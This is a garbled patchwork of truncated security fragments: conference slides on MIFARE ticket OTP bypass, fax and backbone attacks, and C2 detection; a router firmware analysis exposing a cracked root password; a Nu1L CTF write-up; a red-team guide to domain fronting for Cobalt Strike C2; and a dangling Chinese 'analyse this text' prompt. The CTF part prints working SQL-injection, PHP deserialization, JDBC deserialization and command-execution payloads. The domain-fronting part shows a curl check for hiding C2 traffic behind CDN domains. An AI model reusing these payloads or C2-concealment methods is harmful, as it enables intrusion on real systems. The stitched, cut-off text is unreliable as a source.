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OTP circumventing in MIFARE ULTRALIGHT: Who says free rides? bughardy bughardy@cryptolab.net Eagle1753 eagle1753@onenetbeyond.org Introduction RFID technologies are becoming more and more prevalent in our lives. This motivated us to study them, and in particular to study the MIFARE ULTRALIGHT chips, which are widely used in public/mass transport systems. We focused on multiple-ride tickets, and were surprised that MIFARE ULTRALIGHT chips do not seem to store any type of encrypted data. NFC chips should help transport company to prevent fraud and fake tickets but the scenario we are going to present shows a very different situation. In 2012 a security team from U.S.¹ found a bad implementation of transport ticket checking system. Each time a traveler made use of one of his ride, each ultralight card can store several rides, the system write the rides left on the DATA bytes of the ticket. It was enough to erase everything in data area to get a brand new ticket. After that several transport company started to use a security features of Mifare Ultralight ticket, OTP ( One-Time-Pad ) area. This area is composed o 32 bits. At the beginning each bit is set to zero, after each ride one bit is set to 1. In this area you can't turn bit back to zero. In this paper, and in the accompanying talk, we will discuss how bypass OTP features to gain again free rides using Mifare Ultralight transport tickets. And we will also show an easy script that displays ticket informations and help us to get free rides. ¹Corey Benninger and Max Sobell, security researchers at the Intrepidus Group MIFARE ULTRALIGHT Sectors Let's give a look to how a Mifare Ultralight chip is made. We have 5 sectors: Sector Memory UID  Ticket's serial number 9 bytes Internal byte, written by manufacturer 1 byte Lock bytes 2 bytes OTP bytes 4 bytes Data bytes 48 bytes In OTP sector all bits are set to 0 after production; if you want to write some bits in this area, they will be ORed with the existing, thus making im


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Incident Response Art, Science and Engineering Maarten Van Horenbeeck maarten@first.org  @maartenvhb  Director of Security Engineering at  Director and former Chairman of  Incident Responder. 你好 Ithaca, New York Population 30,513 1988 Morris worm The times, they are a-changing. Bob Dylan, 1964 FIRST.Org, Inc. All rights reserved. 7 Source: Traffic Signal Preemption in Millersville,PA by Wikipedia user Niagara An internet of Things 8 Internet users in percentage, UN Human Development Report 2014 (Google Data) An internet of People Art, science and engineering Dealing with complexity  Art:  Quality according to aesthetic principles of what is appealing  Science:  Branch of knowledge or study dealing with facts or truths showing general laws  Engineering:  Creating large structures using scientific methods  Art:  Quality according to aesthetic principles of what is appealing  Science:  Branch of knowledge or study dealing with facts or truths showing general laws  Engineering:  Creating large structures using scientific methods Our common history Lahore, Pakistan Population 5.143 million 1986 Pakistani Brain Hex dump of a Pakistani Brain infected floppy  by Avinash Meetoo (Wikipedia) Manila, Philipines Population 23 million 2000 LOVE-LETTER-FOR-YOU.txt.vbs 2007 Brussels, Belgium Population 1.2 million Targeted attacks Natanz, Iran 2010 Population 12,060 STUXNET .stub, mrxnet.sys Vulnerability in Windows Shell Design issue, previously used in Zlob DLL Preloading vulnerability Stuxnet Vulnerability in Task Scheduler Hash collision Vulnerability in Windows Shell Design issue, previously used in Zlob DLL Preloading vulnerability Stuxnet Vulnerability in Task Scheduler Hash collision Vulnerability in Windows Shell Design issue, previously used in Zlob Vulnerability in Win32k Memory corruption DLL Preloading vulnerability Stuxnet Vulnerability in Windows Shell Design issue, previously used in Zlob Vulnerability in Print Spooler Design issue Vulnerability in Win32k Memory cor


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Fax?! What The To: Date: Subject: Check Point Research DEFCON 26 Aug-12 2018 Received OK? WhoAreWe? Yaniv Balmas This should theoretically work Security Researcher Check Point Software Technologies @ynvb Eyal Itkin Thats cool. Security Researcher Check Point Software Technologies @eyalitkin 1860 Caselli Invents Machine Similar to Todays FAX 1923 Enter the RadioFAX. Used by Navies 1966 XEROX Introduces the First Commercial FAX Machine 1980 Group III ITU-T Fax Standards T.30, T.4, T.6 GammaFAX Brings Computers Into FAX Network 1985 1846 Alexaner Bain Sends An Image Over a Wire FAXHistory Quality Accessibility Reliability Authenticity ? BackToTheFuture BackToTheFuture BackToTheFuture BackToTheFuture BackToTheFuture BackToTheFuture WTF?!  Modern FAX is no longer a simple FAX Machines  The same old FAX technology is now wrapped inside newer technologies  ALL-IN-ONE printers are EVERYWHERE FaxToday The Security View ALL-IN-ONE Printers ALL-IN-ONE Printers FAX Attack ALL-IN-ONE Printers FAX Attack Challenge Accepted What is the Target? How to Obtain the Code? What is The OS? How Does FAX Even Work? How can we Debug it? Where to look for vulns? AndTheWinnerIs BreakingHW Flash ROM SRAMs (e.g Some More Memory) BreakingHW USB WiFi SRAM Electricity Main CPU FAX Modem Battery ShowMeYourFirmware! SERIAL DEBUG JTAG TooEasy? FirmwareUpgrade How do you upgrade a printer firmware?! You Print it! How do you upgrade a printer firmware?! You Print it! PrintingTheFirmware PrintingTheFirmware NULL Decoder TIFF Decoder Delta Raw Decoder WhenYoureaHammer Sections Loading Address Section Name Location in Binary IDontUnderstand  WhatISThis?!  Probably a compression algorithm  A very bad one   Some mathematics Let'sTakeALook FF 20 72 66 63 75 72 73 69 EF 76 65 6C 79 AE E0 6E 6F 6E DF 70 6F 73 69 74 FE 30 20 73 F7 69 7A 65 0E 32 76 61 72 69 FF 61 62 6C 65 2D 6C 65 6E F7 67 74 68 AD 33 00 00 56 4C FF 6A 70 65 67 2E r e c u r s i v e l y n o n p o s i t s i z e v a r i a b l e - l e n g t h V L j


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rlogin === 从当前终端登录到远程Linux主机 ## 补充说明 **rlogin命令** 用于从当前终端登录到远程Linux主机 ### 语法 ```shell rlogin(选项)(参数) ``` ### 选项 ```shell -8允许输入8位字符数据 -e脱离字符>设置脱离字符 -E滤除脱离字符 -l用户名称>指定要登入远端主机的用户名称 -L使用litout模式进行远端登入阶段操作 ``` ### 参数 远程主机指定要登录的远程主机ip地址或者域名


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前 言 Java 开发手册是阿里巴巴集团技术团队的集体智慧结晶和经验总结经历了多次大规模 一线实战的检验及不断完善公开到业界后众多社区开发者踊跃参与共同打磨完善系统化地 整理成册现代软件行业的高速发展对开发者的综合素质要求越来越高因为不仅是编程知识点 其它维度的知识点也会影响到软件的最终交付质量比如数据库的表结构和索引设计缺陷可能带 来软件上的架构缺陷或性能风险工程结构混乱导致后续维护艰难没有鉴权的漏洞代码易被黑客 攻击等等所以本手册以 Java 开发者为中心视角划分为编程规约异常日志单元测试安全规 约MySQL 数据库工程结构设计规约七个维度再根据内容特征细分成若干二级子目录 另外依据约束力强弱及故障敏感性规约依次分为强制推荐参考三大类在延伸信息中 说明对规约做了适当扩展和解释正例提倡什么样的编码和实现方式反例说明需要 提防的雷区以及真实的错误案例 手册的愿景是码出高效码出质量现代软件架构的复杂性需要协同开发完成如何高效地协 同呢无规矩不成方圆无规范难以协同比如制订交通法规表面上是要限制行车权实际上是 保障公众的人身安全试想如果没有限速没有红绿灯谁还敢上路行驶对软件来说适当的规 范和标准绝不是消灭代码内容的创造性优雅性而是限制过度个性化以一种普遍认可的统一方 式一起做事提升协作效率降低沟通成本代码的字里行间流淌的是软件系统的血液质量的提 升是尽可能少踩坑杜绝踩重复的坑切实提升系统稳定性码出质量 我们已经在 2017 杭州云栖大会上发布了配套的 Java 开发规约 IDE 插件阿里云效也集成了 代码规约扫描引擎次年发布 36 万字的配套详解图书码出高效本书秉持图胜于表表胜 于言的理念深入浅出地将计算机基础 面向对象思想JVM 探源数据结构与集合并发与 多线程单元测试等知识客观立体地呈现出来紧扣学以致用学以精进的目标结合阿里巴巴 实践经验和故障案例与底层源码解析融会贯通娓娓道来此书所得收入均捐赠公益事情希望 用技术情怀帮助更多的人 目录 前言 一编程规约 ................................................................................................................................................... 1 (一) 命名风格 ...................................................................................................................................... 1 (二) 常量定义 ...................................................................................................................................... 4 (三) 代码格式 ...................................................................................................................................... 5 (四) OOP 规约 .................................................................................................................................... 7 (五) 集合处理 ....................................................................................................................................11 (六) 并发处理 ....................................................................................................................................14 (七) 控制语句 ................................................................................................................................


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Stealth Data Dispersion ICMP Moon-Bounce Saqib A. Khan, Principal khan@SecurityV.com Latest Version @ http://SecurityV.com/research Copyright 2002 Security Verification, Inc. All rights reserved. Definition Stealth Data Dispersal is an asynchronous covert channel Copyright 2002 Security Verification, Inc. All rights reserved. Project Goal Reside small amounts of data on the ether (within network traffic) rather than fixed physical storage. Copyright 2002 Security Verification, Inc. All rights reserved. Project Benefit Data becomes highly survivable in case of catastrophic failure/removal of Network Hosts Copyright 2002 Security Verification, Inc. All rights reserved. Preferred Embodiment  Dispersal of small amounts of data (< 1500 bytes = PPP MTU)  Data stays alive on the wire vs. a storage device, as long as possible  Data is retrieved or refreshed before data expires on the wire Copyright 2002 Security Verification, Inc. All rights reserved. Core TCP/IP Impediment TTL limits all TCP/IP packets to expire automatically after 255 hops! Packets which reach limit are automatically discarded Copyright 2002 Security Verification, Inc. All rights reserved. Candidate TCP/IP Protocols 1. ICMP (Inet Control Message Protocol)  Implementation required on all TCP/IP stacks  Echo Replies required to echo back original Request data  Universally available  Print servers, etc  Fair amount of ICMP traffic always present on the wire, ergo stealthy Copyright 2002 Security Verification, Inc. All rights reserved. Candidate TCP/IP Protocols 2. Multicast/IGMP (Inet Group Mgmt Protocol)  Designed for communicating between single Source to multiple Destinations (utilizing single transmission)  Very large amount of data can be found on the wire at any time (being used to broadcast numerous audio streams, etc), ergo very stealthy! Copyright 2002 Security Verification, Inc. All rights reserved. ICMP Moon-Bounce  Basic Operation: Bounce data between 2 Hosts utilizing an intermediary Victim Host


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利用AI检测隐蔽的C2通信 AI for Detecting Covert C2 Communication 背景 0 1 C2技术发展 明文传输 加密混淆 公共协议(如TLS) 正常服务(如Twitter) 行业统计 2020年加密的C2通信已达70% Cisco 2020年Q167%的加密C2采用的TLS协议 WatchGuard 防的策略 0 2 检测手段 局限 签名特征 难以应对 加密载荷 统计规则 不精确 机器学习模型 鲁棒性低 过拟合 最具 前景 应用AI的难点 0 3 C2样本 1. 辨识度低 2. 数据量少 3. 特征维度少 4. 随机性强 Cisco的成功经验 0 4 TLS协议 TLS握手特征 Client Server Client Hello SSL/TLS version, supported ciphers, etc. Server Hello Cipher Suite(RSA, TLS1.0, etc.) Server Certificate Server Key Exchange(public key) [Client Certificate Request] Server Hello Done Client Key Exchange [Client Certificate] Certificate Verify 明文的密钥协商 深度协议伪装的C2 问题分析 0 5 差 异 网络数据包 网络会话流 通信信道 数据包载荷 数据包出现的顺序 反映出代码执行的流程  C2通信 正常通信 观察对象 分析思路 三点假设 Internet用户访问正常服务器和C&C服务器的差异 1.应用数据载荷主要传输的方向上的差异 2.服务器被有效访问频次的差异 3.用户数量的差异 0 6 从服务端 视角考虑 解决思路 0 7 以通信信道为观察对象 TLS通信信道{目的IP, 目的端口} 按通信信道聚合TLS流 验证假设 0 8 图 1 正负样本上/下行流量统计图 图 2 通信频次排名前100的对比图 图 3 连接服务器数排名前100的对比图 数据载荷传输方向上的差异 通信频次上的差异 用户数的差异 以通信信道为观察对象的统计对比 基于粒度计算的特征表示方法 0 9 图 1?统计值映射过程图 图 2 不同区间下的正负样本比例图 解决统计特征数值差异大的问题 基于粒度计算的特征表示方法 1 0 解决统计特征数值差异大的问题 图 1 统计值映射过程图 图 3 其他特征字段下的正负样本比例图 TLS信道特征工程 1 1 TLS流在信道上的分布特征设计 特征名 描述 特征数量 下行流载荷 以2,3,5,10,20,50,100,200,500,5000kB划分区间粒度 100 上行流载荷 以2,3,5,10,20,50,100,200,500,5000kB划分区间粒度 100 下/上行流量比 以2,3,5,10,20,50,100,200,500,5000kB划分区间粒度 100 连接频次 以2,3,5,10,20,50,100,200,500,5000划分区间粒度 100 连接设备数 以2,3,5,10,20,50,100,200,500,5000划分区间粒度 100 TLS信道特征工程 1 2 Web服务端兼容性 TLS握手 字段差异 Client Server Client Hello SSL/TLS version, supported ciphers, etc. Server Hello Cipher Suite(RSA, TLS1.0, etc.) Server Certificate Server Key Exchange(public key) [Client Certificate Request] Server Hello Done Client Key Exchange [Client Certificate] Certificate Verify 明文的密钥协商 握手字段 不一致 TLS信道特征工程 1 3 计算样本一致性比例 𝐶𝑜𝑛𝑠𝑖𝑠𝑡𝑒𝑛𝑐𝑦(𝐹) =.  012𝐶0(𝐹) 013 𝑁 TLS握手字段一致性统计 字段名称 正常信道 C2信道 客户端Hello长度 26.43% 57.63% 客户端HelloSession ID长度 41.11% 68.85% 加密算法数量 16.53% 63.70% 客户端Extension数量 27.68% 79.41% 客户端Session ticket长度 41.11% 68.86% 客户端交换密钥长度 28.86% 79.24% 客户端应用层协议协商长度 52.53% 89.73% 客户端签名算法个数 51.18% 86.44% 客户端签名算法 48.07%


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安全文本分析：

Pen-Testing the Backbone Raven, NMRC raven@nmrc.org White box, black box?  Black box testing is good for external recon and data gathering.  However, it's far more difficult and likely to be destructive in implementation.  Many or most backbone vulnerabilites are denial- of-service oriented.  Since people get unhappy when you break their ISP, white-box testing is preferred. Initial Reconnaissance  Choose your target  search the registars for their address blocks, allocated autonomous systems, and other data. (Contacts if not role account, etc.)  Look on route servers and Internet maps to try to determine their peering.  Throw everything you get into Google, recurse when necessary to build a profile of the network.  Check mailing list archives for likely config details and public peering points. Vendor-specific details  Each vendor has their own advisory and vulnerability disclosure practices. Become familiar with these for each vendor on your target network.  Acquire CCO, Juniper, etc. site logins when necessary to supplement vulnerability information.  Don't forget the switches  this should go for all your network gear. Code train vulnerabilities  Check the vulnerabilities specific to each code train implemented in your network.  Also check vulnerabilities in stacks/implementations that your current code train is derived from. BSD stack vulnerabilities are worth checking for Cisco IOS and JunOS boxes, for example.  Some scanners incorporate these checks, but many may need to be done by hand. Beware of unintentional DoS while scanning. Failure paths and trust relationships  Architectural review  check for redunancy, network robustness, and security.  Do your authentication means have redundancy? Fallback? What is the weakest form of authentication one can force?  Once authenticated, is trust transitive? Can one log in directly from one backbone router to another? Are source IP addresses restricted?  Is there a single point of transit or authentication failure? What


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安全文本分析：

Screw Being A Pentester - When I Grow Up I Want To Be A Bug Bounty Hunter Jake Kouns @jkouns Chief Information Security Officer (CISO) Risk Based Security Carsten Eiram @CarstenEiram Chief Research Officer (CRO) Risk Based Security N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Risk Based Security Community offerings: Commercial offerings: Information Security: Career Decisions N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y IT Security Career Choices! N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y IT Security Career Choices  Blue vs. Red! N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y IT Security Career Choices  Red Team! N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Pentester  Good Things About Red Teams N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Red Teams = Pentester N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Pentester - Painful At Times? N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Pentester - Painful At Times? Also the option of becoming an independent pentester! Dont have to work for the man, but work time breakdown is roughly:  1/3 actual pentesting (fun)  1/3 administrative tasks and documentation  1/3 being a sales weazel (finding clients!) N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Is There A Better Career Choice? N O T J U S T


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# Dlink_DWR-932B 路由器固件分析

 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 获得固件 访问 Dlink 的 ftp 服务器 - ftp://ftp.dlink.eu/ 这里下载 DWR-932_fw_revB_2_02_eu_en_20150709.zip 文件 - ftp://ftp.dlink.eu/Products/dwr/dwr-932/driver_software/ --- ## 提取固件 解压,得到 DWR-932_B1_FW v.02.02EU.zip , 无法直接解压缩会发现该固件被加了密这是厂商对该固件做了保护防止逆向分析固件 可以用爆破工具爆破密码,这里省略这一步,解压密码是 beUT9Z 解压完毕,查看固件文件 有一些 yaffs2 格式的文件,这个需要用 [unyaffs](https://code.google.com/archive/p/unyaffs/downloads) 工具来提取,下载 unyaffs,配置权限,解压,查看解压的文件 ```bash mkdir test1 mv unyaffs test1 mv 2K-mdm-image-mdm9625.yaffs2 test1 cd test1 chmod +x unyaffs ./unyaffs 2K-mdm-image-mdm9625.yaffs2 ``` --- ## 信息挖掘 接下来,在提取的文件中挖掘一些有用的信息 ```bash find . -name "*.conf" find . -name "shadow" find . -name "passwd" find . -name "*config*" find . -name "*history*" find . -name "*ssh*_config*" find . -name "*ssh_host*" ``` 在 inadyn-mt.conf 这个文件中找到 no-ip 应用的配置 查看 shadow 文件 这里可以使用 hashcat 或 John the Ripper 爆破 root 账号的密码 ``` root:aRDiHrJ0OkehM:16270:0:99999:7::: ``` 可以看到 root 密码是 1234 --- 使用 firmwalker 工具来自动化遍历该固件系统中的所有可疑文件 ```bash git clone https://github.com/craigz28/firmwalker.git ./firmwalker.sh test1 ``` --- ## 查看启动项 ```bash cd etc/init.d ls -l total 252 -rwxr-xr-x 1 root root 2482 Sep 17 03:55 adbd -rwxr-xr-x 1 root root 250 Sep 17 03:55 alignment.sh -rwxr-xr-x 1 root root 4735 Sep 17 03:55 avahi-daemon -rwxr-xr-x 1 root root 4490 Sep 17 03:55 avahi-dnsconfd -rwxr-xr-x 1 root root 492 Sep 17 03:55 banner.sh -rwxr-xr-x 1 root root 1529 Sep 17 03:55 bootlogd -rwxr-xr-x 1 root root 1680 Sep 17 03:55 bootmisc.sh -rwxr-xr-x 1 root root 681 Sep 17 03:55 busybox-cron -rwxr-xr-x 1 root root 3229 Sep 17 03:55 checkroot.sh -rwxr-xr-x 1 root root 151 Sep 17 03:55 chgrp-diag -rwxr-xr-x 1 root root 1591 Sep 17 03:55 data-init -rwxr-xr-x 1 root root 2781 Sep 17 03:55 dbus-1 -rwxr-xr-x 1 root root 526 Sep 17 03:55 devpts.sh -rwxr-xr-x 1 root root 408 Sep 17 03:55 diagreb


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安全文本分析：

- 1 - Limitations of OAS-Based Blocking - 1 - Table of Contents Executive Summary 2 APIs - the attack is also the route to protection 3 Using OAS for Security 3 Limitations of OAS-Based Blocking 4 Summary 8 - 2 - Executive Summary The OpenAPI Specification (OAS) (fka Swagger) helps developers and security teams alike catalog, document, and describe REST APIs. However, OAS-based security tools alone address only a small fraction of the risk created with APIs and cannot help you prevent API breaches or data loss. When implemented in a more stringent mode, OAS-based security tools will block legitimate traffic, negatively impacting your customers, partners, and business operations, including revenue streams. The following summaries capture the risks of depending on OAS for securing your APIs as well as the ways in which the Salt Security solution provides comprehensive protection. OAS Cannot Protect Against the Most Common and Critical API Threats  OAS lacks understanding of API logic, and organizations cannot create an OAS policy to prevent attacks targeting API logic such as the top threats defined in the OWASP API Security Top 10.  Salt Security uses big data and patented AI to establish a granular understanding of the unique logic for each API and stops attacks with full coverage of the OWASP API Security Top 10. OAS Can Be Tricked and Bypassed  OAS lacks context of overall attacker activity and therefore can block only a specific API call, not the attacker, allowing attackers to make endless attempts to bypass OAS schema validation.  Salt Security correlates all attack activity from the same user, allowing security teams to pinpoint and block attackers early during their reconnaissance before attacks are successful. OAS Risks Blocking Legitimate Traffic or Missing Attacks  OAS supports different validation techniques, each of which presents a challenge:  Using Strict Validation blocks any abnormal API call, including a parameter value pattern mismatch, unknown par


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安全文本分析：

Writeup - Nu1L Writeup - Nu1L WEB laravel do you know zzm's blog hate-php MISC run loop mc philosopher Welcome to 5space CRYPTO tinysocks rosb PWN pwnme twice of REVERSE nop ManageCode rev WEB lib/webuploader/0.1.5/server/preview.php curl http://119.3.183.154/daochu.php\? type\=1\&imei\=aaa\&imei2\=ttt%22union%20select%201,2,3,4,5,\ (hints\)%20from%20hint%23 hint see_the_dir_956c110ef9decdd920249f5fed9e4427 exp e98a4571cf72b798077d12d6c94629.php http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/serve r/e98a4571cf72b798077d12d6c94629.php?file=/flag ﬂag laravel <?php namespace Symfony\Component\Routing\Loader\Configurator { class ImportConfigurator { private $parent; private $route; public function __construct($parent) { $this->parent = $parent; $this->route = "cat /flag"; do you know curl http://121.36.64.91/index.php? a=%66%69%6c%65:///var/www/html/%66%6c%61%67.php&b=%66%69%6c%65:///var/www/html/%6 6%6c%61%67.php zzm's blog pom.xml commons-collectionsmysql-connector-java com.fasterxml.jackson.core 2.9.8 } } } namespace Faker { class Generator { protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace { $a = new Faker\Generator(array("addCollection" => "system")); $b = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($a); echo urlencode(serialize($b)); } https://webcache.googleusercontent.com/search? q=cache:CMivvJLKcbkJ:https://b1ue.cn/archives/189.html+&cd=1&hl=zh- CN&ct=clnk&gl=us JDBC url MySQL JDBC https://github.com/fnmsd/MySQL_Fake_Server mysql {"id": ["com.mysql.cj.jdbc.admin.MiniAdmin", "jdbc:mysql://ip:port/test? autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatu sDiffInterceptor&user=yso_CommonsCollections7_ping test.com"]} shell hate-php view-source:http://121.36.74.163/?code=(~%8C%86%8C%8B%9A%92) (${%a7%ae%ac%ac%f8%e9%e9%f8}{%a7})&%a7=cat%20flag.php MISC run binwalk -erun.exe tif ps run.exe ﬂag{} loop mc rc4xxte


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安全文本分析：

报告初稿完成时间2017 年 1 月 13 日 16 时 00 分 首次发布时间2017 年 1 月 16 日 10 时 00 分 本版本更新时间2017 年 1 月 25 日 14 时 30 分 方程式组织 EQUATION DRUG 平台解析 方程式组织系列分析报告之四 安天安全研究与应急处理中心Antiy CERT 目 录 1 本版本更新小语 ................................................................................................................................................... 1 2 背景...................................................................................................................................................................... 1 3 方程式线索曝光和分析成果时间链梳理 ............................................................................................................. 2 4 DANDERSPRITZ 攻击平台 ..................................................................................................................................... 4 5 部分组件与插件分析继续完善中................................................................................................................ 11 5.1 PROCESSINFO 插件遍历进程模块 ........................................................................................................................ 13 5.2 KILL_IMPLANT 插件杀进程模块 ........................................................................................................................... 16 5.3 GROK 键盘与剪贴版记录器驱动 ..................................................................................................................... 16 6 小结..................................................................................................................................................................... 20 附录一参考资料 ...................................................................................................................................................... 22 附录二关于安天 ...................................................................................................................................................... 24 方程式组织 EQUATION DRUG 平台解析 安天版权所有欢迎无损转载 第 1 页 1 本版本更新小语 安天在此前发布的报告版本的基础上增加了一个方程式组织主机作业的模块积木图这个积木图初 步展示了一个将主机情报作业按照原子化拆分的模块组合的拼装在本版本中安天 CERT 也细化


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安全文本分析：

0x00 背景 前的攻防场景攻击成本的节约周期短成果要求成了普遍要对的问题所以 对于基础设施的建设越来越重视键动化的部署CSFrp gen等具的开发节省了以 前略的搭建配置时间变相增加攻击有效时间优化的Profile如修改些默认标记 位流量伪装关闭stager等成熟的OPSEC如杀软度测试攻击法检测测试上传 件清除流程等减少了免杀难度系数增加溯源难度的同时也减少团队协作中执了 些被杀软标记的攻击式导致掉点的可能性前两天刚好聊到域前置的节点域名收集及验 证内部以前也简单分享过遂炒冷饭 0x01 CDN and 域前置的原理 只要别 ping cdn 节点然后HTTP Hosts放堆IP不域名就求求了放过队 友吧关于原理科普不是重点略 0x02 CDN滥域名抢注 CDN滥域名抢注腾讯云->云产品->CDN与加速->内容分发络->域名管理->域名管理 1> 添加域名涉及到抢注问题必要不抢注主域名前已经有名单针对些域名添 加了归属权校验 2> 项优先使当前标主域名进加速域名可以为存在的域名如www.xxx.co m.若抢注失败则优先考虑正常电脑会产外连的域名如软件视频杀软搜索引擎 等 3> 域名必须是真实存在已经在信部进过备案的 域名配置添加 0x03 寻找同CDN下可以进流量转发的域名 如何寻找同CDN下可以进流量转发的域名呢 这个其实是本次分享重点想讲的东CDN的原理中DNS系统会最终将域名的解析权 交给CNAME(CDN商域名)指向的CDN专DNS服务器CDN的DNS服务器将CDN的全局 负载均衡设备IP地址返回标机器那就代表着我们的CDN负载的IP历史解析中是否会有 这样符合标准的域名呢 1>第种简单的法站之家的ping功能去ping CNAME记录 (sdwdsdw.xxxxx.com.w.kunlunca.com),然后使威胁平台如TI微步在线等进ip解析 域名查询 PS验证法curl -k -v https://oss.takeoa.com -H "Host: sdwdsdw.xxxxx.com" 并查看CS的web log是否有请求记录 2>第种法涉及到国内各CDN商CNAME后缀我们观察阿或者腾讯的CDN申 请以后的CNAME后缀都是有定规则或者说固定域名的 xxxx.xxx.com.dsa.dnsv1.com xxxx.xxx.com.w.kunlunca.com 我们通过 nslookup www.cdn.dnsv1.com 可以获得使最近CDN节点的公IP 然后获取其他也托管在该商并使CDN的合法域名(如xxxxx) 通过威胁情报查询这两个ip或www.cdn.dnsv1.com查看历史解析 这些ip上的历史解析都可以可以继续追寻IDC寻找 m.leha.com.cdn.dnsv1.com具有.cdn.dnsv1.com的域名去掉后边访问前是否 具有https绿标证书 先简单的说两种法其实这两种可以扩张很多种tips 0x04 简单流量分析及名单 0x05 结尾 中间可能还有些如Window机器通过Powershell域前置拉取脚本上线CrossC2通 过域前置上线Linux机器等些tips我想家也都会就不嫌丑了具体的络为分析 及流量分析检测及解决办法也都略掉了关于之前聊的名单出场景就仁者仁智 者智了过的都说好


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安全文本分析：

代 码 混 淆 研 究 的 新 方 向 程瑞 西安交通大学软件学院 南子龙 西安交通大学微电子学院 范铭 西安交通大学网安学院 # 我们是谁  程瑞 西安交通大学软件工程学院大二 智能网络与网络安全教育部重点实验室实习生 研究方向包括程序分析模糊测试恶意软件检测IoT  南子龙 西安交通大学微电子学院大四 智能网络与网安安全教育部重点实验室实习生 研究方向包括IoT安全密码学应用量子器件同态芯片  范铭 西安交通大学网络空间安全学院副教授 研究方向包括可解释性AI技术AI安全移动软件安全 # 目录  PART I程瑞  引言代码混淆的定义以及应用  现状研究现状  动机已有研究存在的不足  方法我们提出的若干改进方法  实验实验验证我们提出的方法是否有效  PART II南子龙  同态加密 & 混淆电路  前沿密码学成果如何在代码混淆研究中落地化 引言 代码混淆的定义以及应用 # 代码混淆的定义 O(P) = P P P  P vs P 分析难度增加  更多的流程转移指令  更多的算术运算指令 语义应是相等  接收相同且合法的输入P与P产 生相同输出  P的执行环境 不可信环境  任意时刻中断程序修改代码  任意时刻读/写程序内存 代码混淆 恶意软件 数字版权保护  APT载荷  C2客户端  蠕虫木马    VMProtect  Themida  O-LLVM   # 代码混淆的应用 现状 学界与业界的研究现状 # 代码混淆的分类  控制流混淆 变换程序控制流, 使程序控制结构变得更加复杂  数据流混淆 变换程序数据流, 使程序数据流向变得更加复杂  布局混淆 删除或修改二进制程序中对攻击者有效的信息, 如调试信息等  预防性混淆 针对某种特定的反混淆工具或方法的混淆方法 [1]Collberg C, Thomborson C, Low D. A taxonomy of obfuscating transformations[R]. Department of Computer Science, The University of Auckland, New Zealand, 1997. # 逻辑门  VMProtect万用门 Nand Nor  量子逻辑门 或许也是三输入门 Fredkin Toffoli  三输入门 AOI OAI # 足够安全吗 源文件 编译优化后 x86-64 Clang 12.01, -O3 # 三输入门 源文件 编译优化后 那么 # 为什么不安全  三输入门 vs 二输入门 AOI(a, b, -1) = ~(a|(b&-1)) = ~(a|b) = Nor(a, b), b & -1 = b b & -1 = b, a & 0 = 0, a | 0 = a, , 那么 从内联角度来看, 三输入门 等 价于 二输入门  击败二输入门 布尔代数中明确的运算规则 A + AB = (1 + A)B = A (A + B)(A + C) = A + AC + AB + BC = A + BC  LLVM InstCombine Pass lib/Transforms/InstCombine/Inst CombineAndOrXor.cpp # 不透明谓词 原程序控制流 混淆后  不透明谓词 永真/假型 插入的后继基本块中必有一个不被执行 可真可假型 插入的两个后继基本块的语义应相同 基本块1 基本块2 基本块1 基本块2 基本块3 # 安全性的问题  O-LLVM  x * (x + 1) % 2 == 0    Angr检测出它们所需时间极短[1]  基于API构造  CreateFile接受错误输入返回0    可以拓展符号执行工具为API实现输入正确性检测 [1]Manufacturing resilient bi-opaque predicates against symbolic execution, Hui Xu, Yangfan Zhou, Yu Kang, Fengzhi Tu and Michael R. Lyu, in Proc. of the 48th IEEE/IFIP International Conference on Dependable Systems and Networks (DSN), Luxembourg City, Luxembourg, June 1-5, 2018. # RANGE DIVIDER [1]Banescu S, Collberg C, Ganesh V, et al. Code obfuscation against symbolic execution attacks[C]//Proceedings of the 32nd Annual C


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

